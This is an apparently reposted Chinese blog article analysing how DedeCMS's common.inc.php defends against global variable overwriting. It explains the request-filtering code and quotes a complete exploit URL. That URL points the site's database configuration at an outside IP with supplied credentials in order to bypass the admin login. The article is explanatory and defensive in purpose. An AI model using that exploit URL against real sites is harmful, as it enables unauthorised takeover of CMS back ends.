dede源码详细分析之--全局变量覆盖漏洞的防御

来源:互联网 发布:手机串行端口 编辑:程序博客网 时间:2024/04/29 18:04

最近开始分析主流CMS源码,首先就是拿DEDE开刀,谁让我就用它时间长呢。

今天试着写了一个简单的插件,感觉还是比较简单的 只引入了一个common.inc.php 这个文件是dede的入口文件
今天开始研究了一下 common.inc.php 这个文件
发现了一个很有趣的事情
这篇日志主要是说的变脸覆盖问题

众所周知 php的 GLOBALS[a]=aa;a = ‘aa’;的全局变量 然后呢 有人就可以利用这个机制来做一些事情 最火的就是前一段时间的织梦变量覆盖漏洞

http://www.xx.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root

直接这样写 替换下验证码 就可以登陆后台 因为 GLOBALS数组定义了一些全局变量 cfg_* 正好是 dede数据库配置的变量 然后 dede就误认为这个远程的数据库就是他的数据库 然后在远程精心策划一个和目标站点一样的数据库 用户名和密码 当然是自己知道的 就可以直接不要账号密码登陆了

当然 dede也给出了防御代码 具体可以来分析分析 会发现一个很有趣的事情

dede把所有的get post 等请求都给封装了下 然后 分配到每个变量
在common.inc.php 文件 第37行

function _RunMagicQuotes(&$svar)  {      if(!get_magic_quotes_gpc())      {          if( is_array($svar) )          {              foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);          }          else          {              if( strlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$svar) )              {                exit('Request var not allow!');              }              $svar = addslashes($svar);          }      }      return $svar;  }  if (!defined('DEDEREQUEST'))   {      //检查和注册外部提交的变量   (2011.8.10 修改登录时相关过滤)      function CheckRequest(&$val) {          if (is_array($val)) {              foreach ($val as $_k=>$_v) {                  if($_k == 'nvarname') continue;                  CheckRequest($_k);                   CheckRequest($val[$_k]);              }          } else          {              if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$val)  )              {                  exit('Request var not allow!');              }          }      }      //var_dump($_REQUEST);exit;      CheckRequest($_REQUEST);      foreach(Array('_GET','_POST','_COOKIE ') as $_request)      {          foreach($$_request as $_k => $_v)   {  if($_k == 'nvarname') ${$_k} = $_v;  else ${$_k} = _RunMagicQuotes ($_v);  }      }  }  

这个就是抵抗变量覆盖的代码 ,这一段代码很有趣, 怎么个有趣呢 他首先会执行这个CheckRequest函数 然后参数是REQUESTgetpostcookieCheckRequest(k); CheckRequest(val[_k]); 这样递归调用 因为 上面那个 漏洞URL 就是一个多维数组 然后直到最后是字符串了 就会判断 如果字符串有值 或者字符串 是 cfg|GLOBALS|_GET|_POST|_COOKIE其中的一个 就会 终止程序 这样就有效的防止了 多维数组 来覆盖全局变量 最后还有个foreach循环 把所有的 ‘_GET’,’_POST’,’_COOKIE 都去_RunMagicQuotes过一遍 _RunMagicQuotes函数会把这些变量 加上个转义符 并且 会把每个参数 注册成一个变量 这样 比如说 get 数组 有个 ?a=aa 那么 就会生成一个变量 $a = aa 而且还是转义后的

转自gwyy

1 0
原创粉丝点击
热门问题 老师的惩罚 人脸识别 我在镇武司摸鱼那些年 重生之率土为王 我在大康的咸鱼生活 盘龙之生命进化 天生仙种 凡人之先天五行 春回大明朝 姑娘不必设防,我是瞎子 孩子马虎不认真怎么办 小孩计算老出错怎么办 小学生计算总出错怎么办 高中考试总粗心怎么办 孩子考试总是粗心怎么办 一年级孩子考试粗心怎么办 老师说孩子粗心怎么办 计算题总出错怎么办 计算题总是出错怎么办 数学老是计算错误怎么办? 苗木抵扣计算错误怎么办 表格中计算错误怎么办 孩子电视瘾太大怎么办 孩子考试前失眠怎么办 孩子上网瘾了怎么办 孩子考试差家长怎么办 手指肿痛有脓包怎么办 手指脓出来红肿怎么办 手指提重物发麻怎么办 小孩拧伤了怎么办 从小就成绩差怎么办 孩子考试总马虎怎么办 上课不认真怎么办初中 对学习兴趣不大怎么办 小学生做作业粗心大意怎么办 小学生考试总是粗心大意怎么办 脚趾内侧长鸡眼怎么办 五岁宝宝胆小怎么办 孩子偏食挑食老师怎么办 九岁孩没有耐心怎么办 孩子学习太粗心怎么办 害怕自己变疯怎么办 工作太粗心了怎么办 粗心的宝宝该怎么办 孩子身上起范怎么办 又笨又内向怎么办 学生做试卷马虎怎么办 小孩子学习态度不好怎么办 孩子学习态度差怎么办 小孩学习态度不好怎么办 孩子数学老粗心怎么办